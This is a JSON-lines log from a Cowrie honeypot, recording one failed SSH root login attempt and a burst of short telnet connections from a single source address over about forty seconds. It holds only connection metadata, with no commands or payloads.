{"eventid":"cowrie.login.failed","username":"root","password":"Ts123123","message":"login attempt [root/Ts123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:52.732626Z","src_ip":"121.122.119.48","session":"e8a8df765109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.364608764648438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:53.059829Z","src_ip":"24.199.85.165","session":"4d44d73bf995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78303551673889,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:53.667963Z","src_ip":"24.199.85.165","session":"01db8580b3ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:53.978456Z","src_ip":"121.122.119.48","session":"e8a8df765109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45202,"dst_ip":"10.17.0.5","dst_port":23,"session":"3777688396d1","protocol":"telnet","message":"New connection: 24.199.85.165:45202 (10.17.0.5:23) [session: 3777688396d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:54.124177Z"}
{"eventid":"cowrie.session.closed","duration":32.601726770401,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:55.022975Z","src_ip":"24.199.85.165","session":"e97f93f91946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"17424746dd80","protocol":"telnet","message":"New connection: 24.199.85.165:45204 (10.17.0.5:23) [session: 17424746dd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:55.028593Z"}
{"eventid":"cowrie.session.closed","duration":35.60455393791199,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:56.994264Z","src_ip":"24.199.85.165","session":"a5bf0a886f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32301d13e92","protocol":"telnet","message":"New connection: 24.199.85.165:45216 (10.17.0.5:23) [session: c32301d13e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:57.103935Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45224,"dst_ip":"10.17.0.5","dst_port":23,"session":"929b507fb118","protocol":"telnet","message":"New connection: 24.199.85.165:45224 (10.17.0.5:23) [session: 929b507fb118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:57.138124Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45234,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1832818943a","protocol":"telnet","message":"New connection: 24.199.85.165:45234 (10.17.0.5:23) [session: b1832818943a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:57.171496Z"}
{"eventid":"cowrie.session.closed","duration":35.68423581123352,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:57.197214Z","src_ip":"24.199.85.165","session":"5a3a612e8005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1959764957428,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:57.618558Z","src_ip":"24.199.85.165","session":"e8f76efb0e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.819090127944946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:57.905112Z","src_ip":"24.199.85.165","session":"f7b8c67bb478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45238,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8dfe9130b3","protocol":"telnet","message":"New connection: 24.199.85.165:45238 (10.17.0.5:23) [session: fd8dfe9130b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:58.336254Z"}
{"eventid":"cowrie.session.closed","duration":31.22669267654419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:58.452983Z","src_ip":"24.199.85.165","session":"1abbbef3e1ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45254,"dst_ip":"10.17.0.5","dst_port":23,"session":"25623b915cb4","protocol":"telnet","message":"New connection: 24.199.85.165:45254 (10.17.0.5:23) [session: 25623b915cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:58.796136Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45262,"dst_ip":"10.17.0.5","dst_port":23,"session":"098ffcb09303","protocol":"telnet","message":"New connection: 24.199.85.165:45262 (10.17.0.5:23) [session: 098ffcb09303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:58.899508Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45274,"dst_ip":"10.17.0.5","dst_port":23,"session":"e37613ae66b4","protocol":"telnet","message":"New connection: 24.199.85.165:45274 (10.17.0.5:23) [session: e37613ae66b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.149701Z"}
{"eventid":"cowrie.session.closed","duration":30.905614852905273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.154660Z","src_ip":"24.199.85.165","session":"948213bbc2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97068786621094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.178580Z","src_ip":"24.199.85.165","session":"ebd6bffaaf8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03346371650696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.199124Z","src_ip":"24.199.85.165","session":"7a5484fa4dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45288,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e8e5f1c83a","protocol":"telnet","message":"New connection: 24.199.85.165:45288 (10.17.0.5:23) [session: 96e8e5f1c83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.315336Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45300,"dst_ip":"10.17.0.5","dst_port":23,"session":"a831f04b0d32","protocol":"telnet","message":"New connection: 24.199.85.165:45300 (10.17.0.5:23) [session: a831f04b0d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.413108Z"}
{"eventid":"cowrie.session.closed","duration":31.813910961151123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.543437Z","src_ip":"24.199.85.165","session":"b38e980fd3e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45302,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fcd0c2ea8b","protocol":"telnet","message":"New connection: 24.199.85.165:45302 (10.17.0.5:23) [session: 00fcd0c2ea8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.660641Z"}
{"eventid":"cowrie.session.closed","duration":32.711012840270996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.839365Z","src_ip":"24.199.85.165","session":"e326ce921b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04586958885193,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.854212Z","src_ip":"24.199.85.165","session":"68994f94ce0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.63744521141052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:59.902707Z","src_ip":"24.199.85.165","session":"c98fd67cef45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132941722869873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:00.526289Z","src_ip":"24.199.85.165","session":"d9ac8c29c86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45306,"dst_ip":"10.17.0.5","dst_port":23,"session":"75539c1df3ff","protocol":"telnet","message":"New connection: 24.199.85.165:45306 (10.17.0.5:23) [session: 75539c1df3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:01.454666Z"}
{"eventid":"cowrie.session.closed","duration":31.848121166229248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:01.935651Z","src_ip":"24.199.85.165","session":"9d101f97b6da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd913f74b1f","protocol":"telnet","message":"New connection: 24.199.85.165:35224 (10.17.0.5:23) [session: 7dd913f74b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:04.284345Z"}
{"eventid":"cowrie.session.closed","duration":30.79620599746704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:04.672956Z","src_ip":"24.199.85.165","session":"29c9cb893014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.650638818740845,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:04.685005Z","src_ip":"24.199.85.165","session":"dbeaa881979b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef208cef1f95","protocol":"telnet","message":"New connection: 24.199.85.165:35230 (10.17.0.5:23) [session: ef208cef1f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:04.815513Z"}
{"eventid":"cowrie.session.closed","duration":33.20069456100464,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:05.141423Z","src_ip":"24.199.85.165","session":"a01bfddde483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16670536994934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:05.691989Z","src_ip":"24.199.85.165","session":"274e6ce74d03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92312479019165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:06.135908Z","src_ip":"24.199.85.165","session":"3e17aa1e974f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.111395835876465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:06.228886Z","src_ip":"24.199.85.165","session":"4eb6073c284a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182867288589478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:08.527568Z","src_ip":"24.199.85.165","session":"82a5cc665e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35238,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dcd3f850394","protocol":"telnet","message":"New connection: 24.199.85.165:35238 (10.17.0.5:23) [session: 4dcd3f850394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:08.977019Z"}
{"eventid":"cowrie.session.closed","duration":31.66193151473999,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:10.462763Z","src_ip":"24.199.85.165","session":"43b8e46b54f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96109318733215,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:10.618321Z","src_ip":"24.199.85.165","session":"a29f93f02c5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.402655601501465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:11.275251Z","src_ip":"24.199.85.165","session":"ac206f5ed1d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186232328414917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:11.712109Z","src_ip":"24.199.85.165","session":"8e003e38ebe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.115620851516724,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:11.717611Z","src_ip":"24.199.85.165","session":"83b81f86b887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35252,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdba24a85de","protocol":"telnet","message":"New connection: 24.199.85.165:35252 (10.17.0.5:23) [session: 3bdba24a85de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:12.287116Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51440,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc398554574","protocol":"telnet","message":"New connection: 24.199.85.165:51440 (10.17.0.5:23) [session: 4fc398554574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:12.447108Z"}
{"eventid":"cowrie.session.closed","duration":32.64932203292847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:12.681943Z","src_ip":"24.199.85.165","session":"171c2539221b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.039833307266235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:12.766362Z","src_ip":"24.199.85.165","session":"5d047467a675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122791290283203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:12.803640Z","src_ip":"24.199.85.165","session":"31453ed367b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92615556716919,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:12.835892Z","src_ip":"24.199.85.165","session":"1eaa39a549d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15508222579956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:13.223573Z","src_ip":"24.199.85.165","session":"4e983b9b2124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003530263900757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:14.405006Z","src_ip":"24.199.85.165","session":"225aeb7eaa87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51446,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe2fd8fe3c4","protocol":"telnet","message":"New connection: 24.199.85.165:51446 (10.17.0.5:23) [session: cfe2fd8fe3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:14.469946Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51450,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d9db13d017","protocol":"telnet","message":"New connection: 24.199.85.165:51450 (10.17.0.5:23) [session: 62d9db13d017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:16.026558Z"}
{"eventid":"cowrie.session.closed","duration":33.69402813911438,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:16.750091Z","src_ip":"24.199.85.165","session":"e95db04363e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51460,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed9d20ac8ff1","protocol":"telnet","message":"New connection: 24.199.85.165:51460 (10.17.0.5:23) [session: ed9d20ac8ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:17.409220Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51462,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a64f58b988c","protocol":"telnet","message":"New connection: 24.199.85.165:51462 (10.17.0.5:23) [session: 0a64f58b988c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:17.822081Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51464,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc32b82381a2","protocol":"telnet","message":"New connection: 24.199.85.165:51464 (10.17.0.5:23) [session: fc32b82381a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:19.483242Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51480,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca36f28c802","protocol":"telnet","message":"New connection: 24.199.85.165:51480 (10.17.0.5:23) [session: 2ca36f28c802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:21.185030Z"}
{"eventid":"cowrie.session.closed","duration":31.197765111923218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:21.322100Z","src_ip":"24.199.85.165","session":"149543a5b0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1b8c7b352b2","protocol":"telnet","message":"New connection: 24.199.85.165:51488 (10.17.0.5:23) [session: e1b8c7b352b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:21.544877Z"}
{"eventid":"cowrie.session.closed","duration":32.31989145278931,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:22.538050Z","src_ip":"24.199.85.165","session":"9dde82d6a342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8098464012146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:22.851354Z","src_ip":"24.199.85.165","session":"83caf01346b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063353776931763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:25.187435Z","src_ip":"24.199.85.165","session":"3777688396d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.597782135009766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:26.626200Z","src_ip":"24.199.85.165","session":"17424746dd80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48164,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b031f0621d6","protocol":"telnet","message":"New connection: 24.199.85.165:48164 (10.17.0.5:23) [session: 5b031f0621d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:26.786837Z"}
{"eventid":"cowrie.session.closed","duration":32.17332601547241,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:29.311340Z","src_ip":"24.199.85.165","session":"929b507fb118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.19529676437378,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:29.711687Z","src_ip":"24.199.85.165","session":"8f4572f0424f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93920588493347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:30.275323Z","src_ip":"24.199.85.165","session":"fd8dfe9130b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.691477298736572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:30.590869Z","src_ip":"24.199.85.165","session":"098ffcb09303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.522584199905396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:30.672192Z","src_ip":"24.199.85.165","session":"e37613ae66b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48170,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6f9a134199f","protocol":"telnet","message":"New connection: 24.199.85.165:48170 (10.17.0.5:23) [session: b6f9a134199f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:31.169871Z"}
{"eventid":"cowrie.session.closed","duration":32.03681039810181,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:31.352051Z","src_ip":"24.199.85.165","session":"96e8e5f1c83a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.293774366378784,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:31.465166Z","src_ip":"24.199.85.165","session":"b1832818943a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48172,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecadef6d2827","protocol":"telnet","message":"New connection: 24.199.85.165:48172 (10.17.0.5:23) [session: ecadef6d2827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:31.746916Z"}
{"eventid":"cowrie.session.closed","duration":30.84943389892578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:32.303957Z","src_ip":"24.199.85.165","session":"75539c1df3ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96254825592041,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:32.375534Z","src_ip":"24.199.85.165","session":"a831f04b0d32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.951969385147095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:32.748017Z","src_ip":"24.199.85.165","session":"25623b915cb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.684465408325195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:32.788288Z","src_ip":"24.199.85.165","session":"c32301d13e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3e5e8ad295c","protocol":"telnet","message":"New connection: 24.199.85.165:58008 (10.17.0.5:23) [session: f3e5e8ad295c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:32.826709Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58018,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3cb2e07be9d","protocol":"telnet","message":"New connection: 24.199.85.165:58018 (10.17.0.5:23) [session: e3cb2e07be9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:33.325556Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdbe88af572c","protocol":"telnet","message":"New connection: 24.199.85.165:58034 (10.17.0.5:23) [session: cdbe88af572c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:34.091656Z"}
